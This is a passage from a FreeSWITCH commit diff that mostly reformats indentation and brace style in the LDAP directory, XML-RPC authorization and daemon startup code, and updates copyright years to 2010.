- "You must define \"basedn\", and \"filter\" in mod_xml_ldap.conf.xml\n");
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "You must define \"basedn\", and \"filter\" in mod_xml_ldap.conf.xml\n");
continue;
}
Modified: freeswitch/trunk/src/mod/xml_int/mod_xml_ldap/mod_xml_ldapv2.c (16578 => 16579)
--- freeswitch/trunk/src/mod/xml_int/mod_xml_ldap/mod_xml_ldapv2.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/xml_int/mod_xml_ldap/mod_xml_ldapv2.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -77,12 +77,12 @@
static switch_xml_t xml_ldap_search(const char *section, const char *tag_name, const char *key_name, const char *key_value, switch_event_t *params,
- void *user_data);
+ void *user_data);
static switch_status_t trydir(switch_xml_t *, int *, LDAP *, char *, char *, xml_binding_t *);
static switch_status_t do_config(void);
-static switch_status_t trysearch( switch_xml_t *pxml, int *xoff, LDAP *ld, char *basedn, char *filter);
-void rec( switch_xml_t *, int*, LDAP *ld, char *);
+static switch_status_t trysearch(switch_xml_t *pxml, int *xoff, LDAP * ld, char *basedn, char *filter);
+void rec(switch_xml_t *, int *, LDAP * ld, char *);
#define XML_LDAP_SYNTAX ""
@@ -115,9 +115,10 @@
return SWITCH_STATUS_SUCCESS;
}
-static switch_status_t do_config(void) {
+static switch_status_t do_config(void)
+{
char *cf = "xml_ldap.conf";
- switch_xml_t cfg, xml, bindings_tag, binding_tag, param,tran;
+ switch_xml_t cfg, xml, bindings_tag, binding_tag, param, tran;
xml_binding_t *binding = NULL;
xml_ldap_attribute_t *attr_list = NULL;
int x = 0;
@@ -149,14 +150,14 @@
if (!strcasecmp(var, "filter")) {
binding->bindings = (char *) switch_xml_attr_soft(param, "bindings");
- if (!strncmp(binding->bindings, "configuration",strlen(binding->bindings))) {
+ if (!strncmp(binding->bindings, "configuration", strlen(binding->bindings))) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "setting type XML_LDAP_CONFIG\n");
binding->bt = XML_LDAP_CONFIG;
- } else if (!strncmp(binding->bindings, "directory",strlen(binding->bindings))) {
+ } else if (!strncmp(binding->bindings, "directory", strlen(binding->bindings))) {
binding->bt = XML_LDAP_DIRECTORY;
- } else if (!strncmp(binding->bindings, "dialplain",strlen(binding->bindings))) {
+ } else if (!strncmp(binding->bindings, "dialplain", strlen(binding->bindings))) {
binding->bt = XML_LDAP_DIALPLAN;
- } else if (!strncmp(binding->bindings, "phrases",strlen(binding->bindings))) {
+ } else if (!strncmp(binding->bindings, "phrases", strlen(binding->bindings))) {
binding->bt = XML_LDAP_PHRASE;
}
@@ -176,72 +177,72 @@
}
- if ( binding && binding->bt == XML_LDAP_DIRECTORY ) {
+ if (binding && binding->bt == XML_LDAP_DIRECTORY) {
attr_list = malloc(sizeof(*attr_list));
- attr_list = memset(attr_list,0,sizeof(*attr_list));
+ attr_list = memset(attr_list, 0, sizeof(*attr_list));
binding->attr_list = attr_list;
param = switch_xml_child(binding_tag, "trans");
- for ( tran = switch_xml_child(param, "tran"); tran; tran = tran->next) {
+ for (tran = switch_xml_child(param, "tran"); tran; tran = tran->next) {
char *n = (char *) switch_xml_attr_soft(tran, "name");
char *m = (char *) switch_xml_attr_soft(tran, "mapfrom");
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, " adding map %s => %s\n", m , n);
- if (!strncasecmp("id",n,strlen(n))) {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, " adding map %s => %s\n", m, n);
+ if (!strncasecmp("id", n, strlen(n))) {
attr_list->type = LDAP_EXTEN_ID;
attr_list->len = strlen(m);
attr_list->val = strdup(m);
attr_list->next = malloc(sizeof(*attr_list));
- attr_list->next = memset(attr_list->next,0,sizeof(*attr_list));
+ attr_list->next = memset(attr_list->next, 0, sizeof(*attr_list));
attr_list = attr_list->next;
- } else if ( !strncasecmp("mailbox",n,strlen(n))) {
- attr_list->type = LDAP_EXTEN_VM_MAILBOX;
- attr_list->len = strlen(m);
- attr_list->val = strdup(m);
- attr_list->next = malloc(sizeof(*attr_list));
- attr_list->next = memset(attr_list->next,0,sizeof(*attr_list));
- attr_list = attr_list->next;
- } else if ( !strncasecmp("password",n,strlen(n))) {
- attr_list->type = LDAP_EXTEN_PASSWORD;
- attr_list->len = strlen(m);
- attr_list->val = strdup(m);
- attr_list->next = malloc(sizeof(*attr_list));
- attr_list->next = memset(attr_list->next,0,sizeof(*attr_list));
- attr_list = attr_list->next;
- } else if ( !strncasecmp("vm-password",n,strlen(n))) {
- attr_list->type = LDAP_EXTEN_VM_PASSWORD;
- attr_list->len = strlen(m);
- attr_list->val = strdup(m);
- attr_list->next = malloc(sizeof(*attr_list));
- attr_list->next = memset(attr_list->next,0,sizeof(*attr_list));
- attr_list = attr_list->next;
- } else if ( !strncasecmp("email-addr",n,strlen(n))) {
- attr_list->type = LDAP_EXTEN_VM_EMAILADDR;
- attr_list->len = strlen(m);
- attr_list->val = strdup(m);
- attr_list->next = malloc(sizeof(*attr_list));
- attr_list->next = memset(attr_list->next,0,sizeof(*attr_list));
- attr_list = attr_list->next;
- } else if ( !strncasecmp("vm-email-all-messages",n,strlen(n))) {
- attr_list->type = LDAP_EXTEN_VM_EMAILMSG;
- attr_list->len = strlen(m);
- attr_list->val = strdup(m);
- attr_list->next = malloc(sizeof(*attr_list));
- attr_list->next = memset(attr_list->next,0,sizeof(*attr_list));
- attr_list = attr_list->next;
- } else if ( !strncasecmp("vm-delete-file",n,strlen(n))) {
- attr_list->type = LDAP_EXTEN_VM_DELETE;
- attr_list->len = strlen(m);
- attr_list->val = strdup(m);
- attr_list->next = malloc(sizeof(*attr_list));
- attr_list->next = memset(attr_list->next,0,sizeof(*attr_list));
- attr_list = attr_list->next;
- } else if ( !strncasecmp("vm-attach-file",n,strlen(n))) {
- attr_list->type = LDAP_EXTEN_VM_ATTACHAUDIO;
- attr_list->len = strlen(m);
- attr_list->val = strdup(m);
- attr_list->next = malloc(sizeof(*attr_list));
- attr_list->next = memset(attr_list->next,0,sizeof(*attr_list));
- attr_list = attr_list->next;
+ } else if (!strncasecmp("mailbox", n, strlen(n))) {
+ attr_list->type = LDAP_EXTEN_VM_MAILBOX;
+ attr_list->len = strlen(m);
+ attr_list->val = strdup(m);
+ attr_list->next = malloc(sizeof(*attr_list));
+ attr_list->next = memset(attr_list->next, 0, sizeof(*attr_list));
+ attr_list = attr_list->next;
+ } else if (!strncasecmp("password", n, strlen(n))) {
+ attr_list->type = LDAP_EXTEN_PASSWORD;
+ attr_list->len = strlen(m);
+ attr_list->val = strdup(m);
+ attr_list->next = malloc(sizeof(*attr_list));
+ attr_list->next = memset(attr_list->next, 0, sizeof(*attr_list));
+ attr_list = attr_list->next;
+ } else if (!strncasecmp("vm-password", n, strlen(n))) {
+ attr_list->type = LDAP_EXTEN_VM_PASSWORD;
+ attr_list->len = strlen(m);
+ attr_list->val = strdup(m);
+ attr_list->next = malloc(sizeof(*attr_list));
+ attr_list->next = memset(attr_list->next, 0, sizeof(*attr_list));
+ attr_list = attr_list->next;
+ } else if (!strncasecmp("email-addr", n, strlen(n))) {
+ attr_list->type = LDAP_EXTEN_VM_EMAILADDR;
+ attr_list->len = strlen(m);
+ attr_list->val = strdup(m);
+ attr_list->next = malloc(sizeof(*attr_list));
+ attr_list->next = memset(attr_list->next, 0, sizeof(*attr_list));
+ attr_list = attr_list->next;
+ } else if (!strncasecmp("vm-email-all-messages", n, strlen(n))) {
+ attr_list->type = LDAP_EXTEN_VM_EMAILMSG;
+ attr_list->len = strlen(m);
+ attr_list->val = strdup(m);
+ attr_list->next = malloc(sizeof(*attr_list));
+ attr_list->next = memset(attr_list->next, 0, sizeof(*attr_list));
+ attr_list = attr_list->next;
+ } else if (!strncasecmp("vm-delete-file", n, strlen(n))) {
+ attr_list->type = LDAP_EXTEN_VM_DELETE;
+ attr_list->len = strlen(m);
+ attr_list->val = strdup(m);
+ attr_list->next = malloc(sizeof(*attr_list));
+ attr_list->next = memset(attr_list->next, 0, sizeof(*attr_list));
+ attr_list = attr_list->next;
+ } else if (!strncasecmp("vm-attach-file", n, strlen(n))) {
+ attr_list->type = LDAP_EXTEN_VM_ATTACHAUDIO;
+ attr_list->len = strlen(m);
+ attr_list->val = strdup(m);
+ attr_list->next = malloc(sizeof(*attr_list));
+ attr_list->next = memset(attr_list->next, 0, sizeof(*attr_list));
+ attr_list = attr_list->next;
}
}
@@ -250,8 +251,7 @@
if (!binding->basedn || !binding->filter || !binding->url) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,
- "You must define \"basedn\", and \"filter\" in mod_xml_ldap.conf.xml\n");
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "You must define \"basedn\", and \"filter\" in mod_xml_ldap.conf.xml\n");
continue;
}
@@ -271,26 +271,29 @@
return SWITCH_STATUS_SUCCESS;
}
-static switch_status_t trydir(switch_xml_t *pxml, int *xoff, LDAP *ld, char *dir_domain, char *dir_exten, xml_binding_t *binding) {
+static switch_status_t trydir(switch_xml_t *pxml, int *xoff, LDAP * ld, char *dir_domain, char *dir_exten, xml_binding_t *binding)
+{
switch_status_t ret = SWITCH_STATUS_FALSE;
int off = *xoff;
- char *key = NULL;
+ char *key = NULL;
char *basedn = NULL, *filter = NULL;
- char **val = NULL;
- BerElement *ber = NULL;
- switch_xml_t xml = *pxml, params = NULL, vars = NULL, cur = NULL;
- LDAPMessage *msg, *entry;
- static char *fsattr[] = { "id" , "mailbox", "password", "vm-password", "email-addr", "vm-email-all-messages", "vm-delete-file", "vm-attach-file", NULL };
+ char **val = NULL;
+ BerElement *ber = NULL;
+ switch_xml_t xml = *pxml, params = NULL, vars = NULL, cur = NULL;
+ LDAPMessage *msg, *entry;
+ static char *fsattr[] =
+ { "id", "mailbox", "password", "vm-password", "email-addr", "vm-email-all-messages", "vm-delete-file", "vm-attach-file", NULL };
- basedn = switch_mprintf(binding->basedn,dir_domain);
- filter = switch_mprintf(binding->filter,dir_exten);
+ basedn = switch_mprintf(binding->basedn, dir_domain);
+ filter = switch_mprintf(binding->filter, dir_exten);
xml_ldap_attribute_t *attr = NULL;
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "searching in basedn %s with filter %s\n",basedn,filter );
-
- if ( (ldap_search_s(ld, basedn, LDAP_SCOPE_SUB, filter, NULL, 0, &msg) != LDAP_SUCCESS) ) goto cleanup;
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "searching in basedn %s with filter %s\n", basedn, filter);
- if ( ldap_count_entries(ld, msg) > 0 ) {
+ if ((ldap_search_s(ld, basedn, LDAP_SCOPE_SUB, filter, NULL, 0, &msg) != LDAP_SUCCESS))
+ goto cleanup;
+
+ if (ldap_count_entries(ld, msg) > 0) {
ret = SWITCH_STATUS_SUCCESS;
xml = switch_xml_add_child_d(xml, "section", off++);
switch_xml_set_attr_d(xml, "name", "directory");
@@ -304,31 +307,25 @@
params = switch_xml_add_child_d(xml, "params", off++);
- for (
- entry = ldap_first_entry(ld, msg);
- entry != NULL;
- entry = ldap_next_entry(ld, entry) ) {
+ for (entry = ldap_first_entry(ld, msg); entry != NULL; entry = ldap_next_entry(ld, entry)) {
- for (
- key = ldap_first_attribute(ld, entry, &ber);
- key != NULL;
- key = ldap_next_attribute(ld, entry, ber) ) {
+ for (key = ldap_first_attribute(ld, entry, &ber); key != NULL; key = ldap_next_attribute(ld, entry, ber)) {
- for( attr = binding->attr_list; attr ; attr = attr->next ) {
- if ( strlen(key) == attr->len ) {
- if ( !strncasecmp(attr->val,key,strlen(key)) ) {
- val = ldap_get_values(ld,entry,key);
- if ( ldap_count_values(val) == 1 ) {
+ for (attr = binding->attr_list; attr; attr = attr->next) {
+ if (strlen(key) == attr->len) {
+ if (!strncasecmp(attr->val, key, strlen(key))) {
+ val = ldap_get_values(ld, entry, key);
+ if (ldap_count_values(val) == 1) {
if (attr->type < 2) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "setting %s = %s ", fsattr[attr->type], val[0]);
- switch_xml_set_attr_d(xml,fsattr[attr->type],val[0]);
- } else if ( attr->type < 8 ) {
- cur = switch_xml_add_child_d(params,"param",0);
- switch_xml_set_attr_d(cur,fsattr[attr->type],val[0]);
+ switch_xml_set_attr_d(xml, fsattr[attr->type], val[0]);
+ } else if (attr->type < 8) {
+ cur = switch_xml_add_child_d(params, "param", 0);
+ switch_xml_set_attr_d(cur, fsattr[attr->type], val[0]);
} else {
- cur = switch_xml_add_child_d(vars,"variable",0);
- switch_xml_set_attr_d(cur,fsattr[attr->type],val[0]);
+ cur = switch_xml_add_child_d(vars, "variable", 0);
+ switch_xml_set_attr_d(cur, fsattr[attr->type], val[0]);
}
} else {
/* multi val attrs */
@@ -339,29 +336,30 @@
}
}
ldap_memfree(key);
- }
- ber_free(ber,0);
- }
+ }
+ ber_free(ber, 0);
+ }
- ldap_msgfree(entry);
- ldap_msgfree(msg);
- } else {
- ret = SWITCH_STATUS_FALSE;
- }
+ ldap_msgfree(entry);
+ ldap_msgfree(msg);
+ } else {
+ ret = SWITCH_STATUS_FALSE;
+ }
- cleanup:
- switch_safe_free(filter);
+ cleanup:
+ switch_safe_free(filter);
switch_safe_free(basedn)
- switch_safe_free(dir_exten);
+ switch_safe_free(dir_exten);
switch_safe_free(dir_domain);
- return ret;
+ return ret;
}
-
-static switch_status_t trysearch ( switch_xml_t *pxml, int *xoff, LDAP *ld, char *basedn, char *filter) {
+
+static switch_status_t trysearch(switch_xml_t *pxml, int *xoff, LDAP * ld, char *basedn, char *filter)
+{
switch_status_t ret;
int off = *xoff;
char *key = NULL;
@@ -373,43 +371,38 @@
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "trying search in base %s with filter %s\n", basedn, filter);
- if ( (ldap_search_s(ld, basedn, LDAP_SCOPE_ONE, filter, NULL, 0, &msg) != LDAP_SUCCESS) ) goto cleanup;
+ if ((ldap_search_s(ld, basedn, LDAP_SCOPE_ONE, filter, NULL, 0, &msg) != LDAP_SUCCESS))
+ goto cleanup;
- if ( ldap_count_entries(ld, msg) > 0 ) {
+ if (ldap_count_entries(ld, msg) > 0) {
ret = SWITCH_STATUS_SUCCESS;
- for (
- entry = ldap_first_entry(ld, msg);
- entry != NULL;
- entry = ldap_next_entry(ld, entry) ) {
+ for (entry = ldap_first_entry(ld, msg); entry != NULL; entry = ldap_next_entry(ld, entry)) {
- val = ldap_get_values(ld,entry,"fstag" );
+ val = ldap_get_values(ld, entry, "fstag");
xml = switch_xml_add_child_d(xml, val[0], off);
ldap_value_free(val);
- for (
- key = ldap_first_attribute(ld, entry, &ber);
- key != NULL;
- key = ldap_next_attribute(ld, entry, ber) ) {
+ for (key = ldap_first_attribute(ld, entry, &ber); key != NULL; key = ldap_next_attribute(ld, entry, ber)) {
- if ( !strncasecmp(key,"fstag",strlen(key)) || !strncasecmp(key,"objectclass",strlen(key)) ) {
+ if (!strncasecmp(key, "fstag", strlen(key)) || !strncasecmp(key, "objectclass", strlen(key))) {
ldap_memfree(key);
continue;
}
- val = ldap_get_values(ld,entry,key);
+ val = ldap_get_values(ld, entry, key);
switch_xml_set_attr_d(xml, key, val[0]);
ldap_memfree(key);
ldap_value_free(val);
}
- ber_free(ber,0);
+ ber_free(ber, 0);
- dn = ldap_get_dn(ld,entry);
- rec(&xml,&off,ld,dn);
+ dn = ldap_get_dn(ld, entry);
+ rec(&xml, &off, ld, dn);
- *xoff=1;
+ *xoff = 1;
}
ldap_msgfree(entry);
@@ -418,19 +411,20 @@
ret = SWITCH_STATUS_FALSE;
}
- cleanup:
+ cleanup:
switch_safe_free(basedn);
switch_safe_free(filter);
switch_safe_free(key);
return ret;
-
+
}
-void rec( switch_xml_t *pxml, int *xoff, LDAP *ld, char *dn) {
+void rec(switch_xml_t *pxml, int *xoff, LDAP * ld, char *dn)
+{
int off = *xoff;
char *key;
char **val;
@@ -443,34 +437,28 @@
ldap_search_s(ld, dn, LDAP_SCOPE_ONE, NULL, NULL, 0, &msg);
switch_safe_free(dn);
- if ( ldap_count_entries(ld, msg) > 0 ) {
+ if (ldap_count_entries(ld, msg) > 0) {
- for (
- entry = ldap_first_entry(ld, msg);
- entry != NULL;
- entry = ldap_next_entry(ld, entry) ) {
+ for (entry = ldap_first_entry(ld, msg); entry != NULL; entry = ldap_next_entry(ld, entry)) {
- val = ldap_get_values(ld,entry,"fstag" );
- new = switch_xml_add_child_d(xml, val[0], off);
+ val = ldap_get_values(ld, entry, "fstag");
+ new = switch_xml_add_child_d(xml, val[0], off);
ldap_value_free(val);
- for (
- key = ldap_first_attribute(ld, entry,&ber);
- key != NULL;
- key = ldap_next_attribute(ld,entry,ber) ) {
+ for (key = ldap_first_attribute(ld, entry, &ber); key != NULL; key = ldap_next_attribute(ld, entry, ber)) {
- if ( !strncasecmp("fstag",key,5) || !strncasecmp("objectclass",key,10) ) {
+ if (!strncasecmp("fstag", key, 5) || !strncasecmp("objectclass", key, 10)) {
ldap_memfree(key);
continue;
}
- val = ldap_get_values(ld,entry,key);
- switch_xml_set_attr_d(new, key, val[0]);
+ val = ldap_get_values(ld, entry, key);
+ switch_xml_set_attr_d(new, key, val[0]);
ldap_memfree(key);
ldap_value_free(val);
}
- ber_free(ber,0);
- rec( &new, xoff , ld, ldap_get_dn(ld,entry) );
+ ber_free(ber, 0);
+ rec(&new, xoff, ld, ldap_get_dn(ld, entry));
}
ldap_msgfree(entry);
@@ -481,7 +469,8 @@
static switch_xml_t xml_ldap_search(const char *section, const char *tag_name, const char *key_name, const char *key_value, switch_event_t *params,
- void *user_data) {
+ void *user_data)
+{
xml_binding_t *binding = (xml_binding_t *) user_data;
switch_event_header_t *hi;
@@ -492,8 +481,8 @@
char *basedn = NULL, *filter = NULL;
char *dir_domain = NULL, *dir_exten = NULL;
-
- char *buf;
+
+ char *buf;
buf = malloc(4096);
LDAP *ld;
@@ -501,8 +490,8 @@
int xoff = 0;
- xml = switch_xml_new("document");
- switch_xml_set_attr_d(xml, "type", "freeswitch/xml");
+ xml = switch_xml_new("document");
+ switch_xml_set_attr_d(xml, "type", "freeswitch/xml");
if (params) {
if ((hi = params->headers)) {
@@ -512,7 +501,7 @@
break;
case XML_LDAP_DIRECTORY:
- switch_log_printf(SWITCH_CHANNEL_LOG,SWITCH_LOG_ERROR, "from cb got %s=%s\n", hi->name, hi->value);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "from cb got %s=%s\n", hi->name, hi->value);
if (!strncmp(hi->name, "user", strlen(hi->name))) {
dir_exten = strdup(hi->value);
} else if (!strncmp(hi->name, "domain", strlen(hi->name))) {
@@ -530,45 +519,47 @@
- if ( (ldap_initialize(&ld,binding->url)) != LDAP_SUCCESS ) goto cleanup;
- if ( (ldap_set_option(ld, LDAP_OPT_PROTOCOL_VERSION, &desired_version)) != LDAP_SUCCESS ) goto cleanup;
- if ( (ldap_bind_s(ld, binding->binddn, binding->bindpass, auth_method)) != LDAP_SUCCESS ) goto cleanup;
+ if ((ldap_initialize(&ld, binding->url)) != LDAP_SUCCESS)
+ goto cleanup;
+ if ((ldap_set_option(ld, LDAP_OPT_PROTOCOL_VERSION, &desired_version)) != LDAP_SUCCESS)
+ goto cleanup;
+ if ((ldap_bind_s(ld, binding->binddn, binding->bindpass, auth_method)) != LDAP_SUCCESS)
+ goto cleanup;
switch (binding->bt) {
- case XML_LDAP_CONFIG:
- xml = switch_xml_add_child_d(xml, "section", xoff++);
- switch_xml_set_attr_d(xml, "name", "configuration");
- filter = switch_mprintf(binding->filter,key_name,key_value);
- basedn = switch_mprintf(binding->basedn,tag_name);
- ret = trysearch(&xml,&xoff,ld, basedn, filter);
- break;
+ case XML_LDAP_CONFIG:
+ xml = switch_xml_add_child_d(xml, "section", xoff++);
+ switch_xml_set_attr_d(xml, "name", "configuration");
+ filter = switch_mprintf(binding->filter, key_name, key_value);
+ basedn = switch_mprintf(binding->basedn, tag_name);
+ ret = trysearch(&xml, &xoff, ld, basedn, filter);
+ break;
- case XML_LDAP_DIRECTORY:
- ret = trydir(&xml,&xoff,ld,dir_domain,dir_exten, binding);
- break;
+ case XML_LDAP_DIRECTORY:
+ ret = trydir(&xml, &xoff, ld, dir_domain, dir_exten, binding);
+ break;
- case XML_LDAP_DIALPLAN:
- break;
+ case XML_LDAP_DIALPLAN:
+ break;
- case XML_LDAP_PHRASE:
- break;
+ case XML_LDAP_PHRASE:
+ break;
}
- cleanup:
+ cleanup:
ldap_unbind_s(ld);
- switch_xml_toxml_buf(xml,buf,0,0,1);
- printf("providing:\n%s\n", buf);
+ switch_xml_toxml_buf(xml, buf, 0, 0, 1);
+ printf("providing:\n%s\n", buf);
switch_safe_free(buf);
if (ret != SWITCH_STATUS_SUCCESS) {
switch_xml_free(xml);
return NULL;
}
-
+
return xml;
}
-
Modified: freeswitch/trunk/src/mod/xml_int/mod_xml_rpc/mod_xml_rpc.c (16578 => 16579)
--- freeswitch/trunk/src/mod/xml_int/mod_xml_rpc/mod_xml_rpc.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/xml_int/mod_xml_rpc/mod_xml_rpc.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -161,9 +161,8 @@
return ret ? SWITCH_STATUS_FALSE : SWITCH_STATUS_SUCCESS;
}
-static abyss_bool user_attributes (const char *user, const char *domain_name,
- const char **ppasswd, const char **pvm_passwd,
- const char **palias, const char **pallowed_commands)
+static abyss_bool user_attributes(const char *user, const char *domain_name,
+ const char **ppasswd, const char **pvm_passwd, const char **palias, const char **pallowed_commands)
{
const char *passwd;
const char *vm_passwd;
@@ -183,7 +182,7 @@
switch_event_create(¶ms, SWITCH_EVENT_REQUEST_PARAMS);
switch_assert(params);
switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "number_alias", "check");
-
+
if (switch_xml_locate_user("id", user, domain_name, NULL, &x_domain_root, &x_domain, &x_user, NULL, params) != SWITCH_STATUS_SUCCESS) {
switch_event_destroy(¶ms);
if (x_domain_root) {
@@ -196,11 +195,11 @@
alias = switch_xml_attr(x_user, "number-alias");
if ((x_params = switch_xml_child(x_domain, "params"))) {
-
+
for (x_param = switch_xml_child(x_params, "param"); x_param; x_param = x_param->next) {
const char *var = switch_xml_attr_soft(x_param, "name");
const char *val = switch_xml_attr_soft(x_param, "value");
-
+
if (!strcasecmp(var, "password")) {
passwd = val;
} else if (!strcasecmp(var, "vm-password")) {
@@ -216,7 +215,7 @@
for (x_param = switch_xml_child(x_params, "param"); x_param; x_param = x_param->next) {
const char *var = switch_xml_attr_soft(x_param, "name");
const char *val = switch_xml_attr_soft(x_param, "value");
-
+
if (!strcasecmp(var, "password")) {
passwd = val;
} else if (!strcasecmp(var, "vm-password")) {
@@ -235,8 +234,8 @@
*palias = strdup(alias);
if (pallowed_commands)
*pallowed_commands = strdup(allowed_commands);
-
+
if (x_domain_root) {
switch_xml_free(x_domain_root);
}
@@ -244,7 +243,7 @@
return TRUE;
}
-static abyss_bool is_authorized (const TSession *r, const char *command)
+static abyss_bool is_authorized(const TSession * r, const char *command)
{
char *user = NULL, *domain_name = NULL;
char *allowed_commands;
@@ -263,7 +262,7 @@
}
if (!r->requestInfo.user) {
- return FALSE;
+ return FALSE;
}
user = strdup(r->requestInfo.user);
@@ -277,14 +276,14 @@
switch_safe_free(user);
return TRUE;
}
-
+
if (zstr(user) || zstr(domain_name)) {
switch_safe_free(user);
return FALSE;
}
-
- if (!user_attributes (user, domain_name, NULL, NULL, NULL, &allowed_commands)) {
+
+ if (!user_attributes(user, domain_name, NULL, NULL, NULL, &allowed_commands)) {
switch_safe_free(user);
return FALSE;
}
@@ -295,21 +294,21 @@
return FALSE;
dup = allowed_commands;
- argc = switch_separate_string (dup, ',', argv, (sizeof(argv) / sizeof(argv[0])));
+ argc = switch_separate_string(dup, ',', argv, (sizeof(argv) / sizeof(argv[0])));
for (i = 0; i < argc; i++) {
if (!strcasecmp(argv[i], command)
- || !strcasecmp(argv[i], "any")) {
+ || !strcasecmp(argv[i], "any")) {
break;
}
}
- switch_safe_free (dup);
+ switch_safe_free(dup);
return i < argc ? TRUE : FALSE;
}
-static abyss_bool http_directory_auth(TSession *r, char *domain_name)
+static abyss_bool http_directory_auth(TSession * r, char *domain_name)
{
char *p;
char *x;
@@ -321,7 +320,7 @@
int at = 0;
char *dp;
abyss_bool rval = FALSE;
-
+
p = RequestHeaderValue(r, "authorization");
if (p) {
@@ -334,13 +333,13 @@
if ((pass = strchr(user, ':'))) {
*pass++ = '\0';
}
-
+
if ((dp = strchr(user, '@'))) {
*dp++ = '\0';
domain_name = dp;
at++;
}
-
+
if (!domain_name) {
if (globals.virtual_host) {
if ((domain_name = (char *) r->requestInfo.host)) {
@@ -375,7 +374,7 @@
}
}
- if (!user_attributes (user, domain_name, &mypass1, &mypass2, &box, NULL)) {
+ if (!user_attributes(user, domain_name, &mypass1, &mypass2, &box, NULL)) {
goto fail;
}
@@ -441,7 +440,7 @@
goto fail;
authed:
-
+
switch_snprintf(z, sizeof(z), "%s@%s", (box ? box : user), domain_name);
r->requestInfo.user = strdup(z);
@@ -453,18 +452,18 @@
}
}
- fail:
+ fail:
switch_snprintf(z, sizeof(z), "Basic realm=\"%s\"", domain_name ? domain_name : globals.realm);
ResponseAddField(r, "WWW-Authenticate", z);
ResponseStatus(r, 401);
- done:
+ done:
switch_safe_free(mypass1);
switch_safe_free(mypass2);
switch_safe_free(box);
-
+
return rval;
}
@@ -614,7 +613,6 @@
if (is_authorized(r, command)) {
goto auth;
}
-
//unauth:
ResponseStatus(r, 403);
ResponseError(r);
@@ -626,7 +624,7 @@
if (switch_event_create(&stream.param_event, SWITCH_EVENT_API) == SWITCH_STATUS_SUCCESS) {
const char *const content_length = RequestHeaderValue(r, "content-length");
-
+
if (html)
switch_event_add_header_string(stream.param_event, SWITCH_STACK_BOTTOM, "Content-type", "text/html");
else if (text)
@@ -639,7 +637,7 @@
switch_event_add_header_string(stream.param_event, SWITCH_STACK_BOTTOM, "FreeSWITCH-Domain", fs_domain);
if (path_info)
switch_event_add_header_string(stream.param_event, SWITCH_STACK_BOTTOM, "HTTP-Path-Info", path_info);
- switch_event_add_header_string(stream.param_event, SWITCH_STACK_BOTTOM, "HTTP-URI", r->requestInfo.uri);
+ switch_event_add_header_string(stream.param_event, SWITCH_STACK_BOTTOM, "HTTP-URI", r->requestInfo.uri);
if (r->requestInfo.query)
switch_event_add_header_string(stream.param_event, SWITCH_STACK_BOTTOM, "HTTP-QUERY", r->requestInfo.query);
if (r->requestInfo.host)
@@ -827,7 +825,7 @@
return NULL;
}
- if (!is_authorized((const TSession *)callInfo, command)) {
+ if (!is_authorized((const TSession *) callInfo, command)) {
val = xmlrpc_build_value(envP, "s", "UNAUTHORIZED!");
goto end;
}
@@ -838,7 +836,7 @@
freed = 1;
command = "bgapi";
arg = "unload mod_xml_rpc";
- } else if (switch_stristr("reload", command) && switch_stristr("mod_xml_rpc", arg)) {
+ } else if (switch_stristr("reload", command) && switch_stristr("mod_xml_rpc", arg)) {
switch_safe_free(command);
switch_safe_free(arg);
freed = 1;
@@ -855,7 +853,7 @@
val = xmlrpc_build_value(envP, "s", "ERROR!");
}
-end:
+ end:
/* xmlrpc-c requires us to free memory it malloced from xmlrpc_decompose_value */
if (!freed) {
@@ -977,7 +975,7 @@
//globals.abyssServer.running = 0;
//shutdown(globals.abyssServer.listensock, 2);
ServerTerminate(&globals.abyssServer);
-
+
do {
switch_yield(100000);
} while (globals.running);
Modified: freeswitch/trunk/src/switch.c (16578 => 16579)
--- freeswitch/trunk/src/switch.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -102,8 +102,8 @@
}
/* pull the pid from the file */
- if (fscanf(f, "%d", (int *)(intptr_t)&pid)!=1) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,"Unable to get the pid!\n");
+ if (fscanf(f, "%d", (int *) (intptr_t) & pid) != 1) {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unable to get the pid!\n");
}
/* if we have a valid pid */
@@ -203,19 +203,20 @@
#else
-void daemonize(void) {
+void daemonize(void)
+{
int fd;
pid_t pid;
switch (fork()) {
- case 0:
- break;
- case -1:
- fprintf(stderr, "Error Backgrounding (fork)! %d - %s\n", errno, strerror(errno));
- exit(0);
- break;
- default:
- exit(0);
+ case 0:
+ break;
+ case -1:
+ fprintf(stderr, "Error Backgrounding (fork)! %d - %s\n", errno, strerror(errno));
+ exit(0);
+ break;
+ default:
+ exit(0);
}
if (setsid() < 0) {
@@ -224,15 +225,15 @@
}
pid = fork();
switch (pid) {
- case 0:
- break;
- case -1:
